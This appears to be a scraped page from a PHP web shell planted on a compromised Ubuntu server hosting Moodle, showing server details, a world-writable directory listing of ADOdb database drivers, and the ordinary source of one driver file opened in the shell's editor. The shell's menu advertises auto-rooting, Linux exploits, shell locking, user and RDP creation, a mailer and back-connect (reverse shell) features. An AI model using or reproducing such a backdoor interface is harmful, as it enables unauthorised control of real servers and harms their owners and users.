Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
adodb /
drivers /
[ HOME SHELL ]
Name
Size
Permission
Action
adodb-access.inc.php
2.17
KB
-rwxrwxrwx
adodb-ado.inc.php
15.92
KB
-rwxrwxrwx
adodb-ado5.inc.php
16.98
KB
-rwxrwxrwx
adodb-ado_access.inc.php
1.38
KB
-rwxrwxrwx
adodb-ado_mssql.inc.php
4.28
KB
-rwxrwxrwx
adodb-ads.inc.php
23.07
KB
-rwxrwxrwx
adodb-borland_ibase.inc.php
2.22
KB
-rwxrwxrwx
adodb-csv.inc.php
4.88
KB
-rwxrwxrwx
adodb-db2.inc.php
21.32
KB
-rwxrwxrwx
adodb-db2oci.inc.php
4.56
KB
-rwxrwxrwx
adodb-db2ora.inc.php
1.93
KB
-rwxrwxrwx
adodb-fbsql.inc.php
6.36
KB
-rwxrwxrwx
adodb-firebird.inc.php
1.87
KB
-rwxrwxrwx
adodb-ibase.inc.php
23.99
KB
-rwxrwxrwx
adodb-informix.inc.php
1.02
KB
-rwxrwxrwx
adodb-informix72.inc.php
14.56
KB
-rwxrwxrwx
adodb-ldap.inc.php
10.86
KB
-rwxrwxrwx
adodb-mssql.inc.php
33.8
KB
-rwxrwxrwx
adodb-mssql_n.inc.php
9.86
KB
-rwxrwxrwx
adodb-mssqlnative.inc.php
35.09
KB
-rwxrwxrwx
adodb-mssqlpo.inc.php
1.52
KB
-rwxrwxrwx
adodb-mysql.inc.php
21.99
KB
-rwxrwxrwx
adodb-mysqli.inc.php
32.43
KB
-rwxrwxrwx
adodb-mysqlpo.inc.php
3.1
KB
-rwxrwxrwx
adodb-mysqlt.inc.php
3.47
KB
-rwxrwxrwx
adodb-netezza.inc.php
4.71
KB
-rwxrwxrwx
adodb-oci8.inc.php
46.1
KB
-rwxrwxrwx
adodb-oci805.inc.php
1.55
KB
-rwxrwxrwx
adodb-oci8po.inc.php
7.17
KB
-rwxrwxrwx
adodb-oci8quercus.inc.php
2.38
KB
-rwxrwxrwx
adodb-odbc.inc.php
18.83
KB
-rwxrwxrwx
adodb-odbc_db2.inc.php
9.15
KB
-rwxrwxrwx
adodb-odbc_mssql.inc.php
10.53
KB
-rwxrwxrwx
adodb-odbc_oracle.inc.php
3.2
KB
-rwxrwxrwx
adodb-odbtp.inc.php
23.29
KB
-rwxrwxrwx
adodb-odbtp_unicode.inc.php
1.13
KB
-rwxrwxrwx
adodb-oracle.inc.php
9.25
KB
-rwxrwxrwx
adodb-pdo.inc.php
16.82
KB
-rwxrwxrwx
adodb-pdo_mssql.inc.php
1.5
KB
-rwxrwxrwx
adodb-pdo_mysql.inc.php
7.01
KB
-rwxrwxrwx
adodb-pdo_oci.inc.php
2.87
KB
-rwxrwxrwx
adodb-pdo_pgsql.inc.php
8.33
KB
-rwxrwxrwx
adodb-pdo_sqlite.inc.php
5.88
KB
-rwxrwxrwx
adodb-pdo_sqlsrv.inc.php
1013
B
-rwxrwxrwx
adodb-postgres.inc.php
612
B
-rwxrwxrwx
adodb-postgres64.inc.php
31.41
KB
-rwxrwxrwx
adodb-postgres7.inc.php
10.39
KB
-rwxrwxrwx
adodb-postgres8.inc.php
1.75
KB
-rwxrwxrwx
adodb-postgres9.inc.php
822
B
-rwxrwxrwx
adodb-proxy.inc.php
885
B
-rwxrwxrwx
adodb-sapdb.inc.php
5.09
KB
-rwxrwxrwx
adodb-sqlanywhere.inc.php
4.12
KB
-rwxrwxrwx
adodb-sqlite.inc.php
10.45
KB
-rwxrwxrwx
adodb-sqlite3.inc.php
10.11
KB
-rwxrwxrwx
adodb-sqlitepo.inc.php
1.82
KB
-rwxrwxrwx
adodb-sybase.inc.php
12.11
KB
-rwxrwxrwx
adodb-sybase_ase.inc.php
3.24
KB
-rwxrwxrwx
adodb-vfp.inc.php
2.44
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : adodb-mssql_n.inc.php
<?php /// $Id $ /////////////////////////////////////////////////////////////////////////// // // // NOTICE OF COPYRIGHT // // // // ADOdb - Database Abstraction Library for PHP // // // // Latest version is available at http://adodb.org // // // // Copyright (c) 2000-2014 John Lim (jlim\@natsoft.com.my) // // All rights reserved. // // Released under both BSD license and LGPL library license. // // Whenever there is any discrepancy between the two licenses, // // the BSD license will take precedence // // // // Moodle - Modular Object-Oriented Dynamic Learning Environment // // http://moodle.com // // // // Copyright (C) 2001-3001 Martin Dougiamas http://dougiamas.com // // (C) 2001-3001 Eloy Lafuente (stronk7) http://contiento.com // // // // This program is free software; you can redistribute it and/or modify // // it under the terms of the GNU General Public License as published by // // the Free Software Foundation; either version 2 of the License, or // // (at your option) any later version. // // // // This program is distributed in the hope that it will be useful, // // but WITHOUT ANY WARRANTY; without even the implied warranty of // // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // // GNU General Public License for more details: // // // // http://www.gnu.org/copyleft/gpl.html // // // /////////////////////////////////////////////////////////////////////////// /** * MSSQL Driver with auto-prepended "N" for correct unicode storage * of SQL literal strings. Intended to be used with MSSQL drivers that * are sending UCS-2 data to MSSQL (FreeTDS and ODBTP) in order to get * true cross-db compatibility from the application point of view. */ // security - hide paths if (!defined('ADODB_DIR')) die(); // one useful constant if (!defined('SINGLEQUOTE')) define('SINGLEQUOTE', "'"); include_once(ADODB_DIR.'/drivers/adodb-mssql.inc.php'); class ADODB_mssql_n extends ADODB_mssql { var $databaseType = "mssql_n"; function _query($sql,$inputarr=false) { $sql = $this->_appendN($sql); return ADODB_mssql::_query($sql,$inputarr); } /** * This function will intercept all the literals used in the SQL, prepending the "N" char to them * in order to allow mssql to store properly data sent in the correct UCS-2 encoding (by freeTDS * and ODBTP) keeping SQL compatibility at ADOdb level (instead of hacking every project to add * the "N" notation when working against MSSQL. * * The orginal note indicated that this hack should only be used if ALL the char-based columns * in your DB are of type nchar, nvarchar and ntext, but testing seems to indicate that SQL server * doesn't seem to care if the statement is used against char etc fields. * * @todo This function should raise an ADOdb error if one of the transformations fail * * @param mixed $inboundData Either a string containing an SQL statement * or an array with resources from prepared statements * * @return mixed */ function _appendN($inboundData) { $inboundIsArray = false; if (is_array($inboundData)) { $inboundIsArray = true; $inboundArray = $inboundData; } else $inboundArray = (array)$inboundData; /* * All changes will be placed here */ $outboundArray = $inboundArray; foreach($inboundArray as $inboundKey=>$inboundValue) { if (is_resource($inboundValue)) { /* * Prepared statement resource */ if ($this->debug) ADOConnection::outp("{$this->databaseType} index $inboundKey value is resource, continue"); continue; } if (strpos($inboundValue, SINGLEQUOTE) === false) { /* * Check we have something to manipulate */ if ($this->debug) ADOConnection::outp("{$this->databaseType} index $inboundKey value $inboundValue has no single quotes, continue"); continue; } /* * Check we haven't an odd number of single quotes (this can cause problems below * and should be considered one wrong SQL). Exit with debug info. */ if ((substr_count($inboundValue, SINGLEQUOTE) & 1)) { if ($this->debug) ADOConnection::outp("{$this->databaseType} internal transformation: not converted. Wrong number of quotes (odd)"); break; } /* * Check we haven't any backslash + single quote combination. It should mean wrong * backslashes use (bad magic_quotes_sybase?). Exit with debug info. */ $regexp = '/(\\\\' . SINGLEQUOTE . '[^' . SINGLEQUOTE . '])/'; if (preg_match($regexp, $inboundValue)) { if ($this->debug) ADOConnection::outp("{$this->databaseType} internal transformation: not converted. Found bad use of backslash + single quote"); break; } /* * Remove pairs of single-quotes */ $pairs = array(); $regexp = '/(' . SINGLEQUOTE . SINGLEQUOTE . ')/'; preg_match_all($regexp, $inboundValue, $list_of_pairs); if ($list_of_pairs) { foreach (array_unique($list_of_pairs[0]) as $key=>$value) $pairs['<@#@#@PAIR-'.$key.'@#@#@>'] = $value; if (!empty($pairs)) $inboundValue = str_replace($pairs, array_keys($pairs), $inboundValue); } /* * Remove the rest of literals present in the query */ $literals = array(); $regexp = '/(N?' . SINGLEQUOTE . '.*?' . SINGLEQUOTE . ')/is'; preg_match_all($regexp, $inboundValue, $list_of_literals); if ($list_of_literals) { foreach (array_unique($list_of_literals[0]) as $key=>$value) $literals['<#@#@#LITERAL-'.$key.'#@#@#>'] = $value; if (!empty($literals)) $inboundValue = str_replace($literals, array_keys($literals), $inboundValue); } /* * Analyse literals to prepend the N char to them if their contents aren't numeric */ if (!empty($literals)) { foreach ($literals as $key=>$value) { if (!is_numeric(trim($value, SINGLEQUOTE))) /* * Non numeric string, prepend our dear N, whilst * Trimming potentially existing previous "N" */ $literals[$key] = 'N' . trim($value, 'N'); } } /* * Re-apply literals to the text */ if (!empty($literals)) $inboundValue = str_replace(array_keys($literals), $literals, $inboundValue); /* * Any pairs followed by N' must be switched to N' followed by those pairs * (or strings beginning with single quotes will fail) */ $inboundValue = preg_replace("/((<@#@#@PAIR-(\d+)@#@#@>)+)N'/", "N'$1", $inboundValue); /* * Re-apply pairs of single-quotes to the text */ if (!empty($pairs)) $inboundValue = str_replace(array_keys($pairs), $pairs, $inboundValue); /* * Print transformation if debug = on */ if (strcmp($inboundValue,$inboundArray[$inboundKey]) <> 0 && $this->debug) ADOConnection::outp("{$this->databaseType} internal transformation: {$inboundArray[$inboundKey]} to {$inboundValue}"); if (strcmp($inboundValue,$inboundArray[$inboundKey]) <> 0) /* * Place the transformed value into the outbound array */ $outboundArray[$inboundKey] = $inboundValue; } /* * Any transformations are in the $outboundArray */ if ($inboundIsArray) return $outboundArray; /* * We passed a string in originally */ return $outboundArray[0]; } } class ADORecordset_mssql_n extends ADORecordset_mssql { var $databaseType = "mssql_n"; function __construct($id,$mode=false) { parent::__construct($id,$mode); } }
Close